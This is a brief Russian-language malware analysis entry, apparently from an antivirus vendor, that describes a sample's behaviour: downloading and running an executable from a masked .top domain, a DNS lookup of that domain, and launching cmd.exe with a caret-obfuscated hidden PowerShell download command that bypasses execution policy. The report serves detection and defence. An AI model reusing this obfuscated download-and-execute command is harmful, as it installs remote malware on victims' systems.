Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://fo###repu.top/read.php?f=##### как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^wE^R^ShE^L^L.exe -eXe^c^U^tion^P^OliCy ^b^Y^p^A^ss ^-^n^OpRofile -Wi^ND^OWSTy^lE ^HID^DE^N (NEW-Obj^e^CT ^sYste^M^.^N^e^T.w^eB^c^lIen^t).dOwN^LOa^d^FILe^('http://fo###repu....
Сетевая активность
UDP
- DNS ASK fo###repu.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^wE^R^ShE^L^L.exe -eXe^c^U^tion^P^OliCy ^b^Y^p^A^ss ^-^n^OpRofile -Wi^ND^OWSTy^lE ^HID^DE^N (NEW-Obj^e^CT ^sYste^M^.^N^e^T.w^eB^c^lIen^t).dOwN^LOa^d^FILe^('http://fo###repu....' (со скрытым окном)
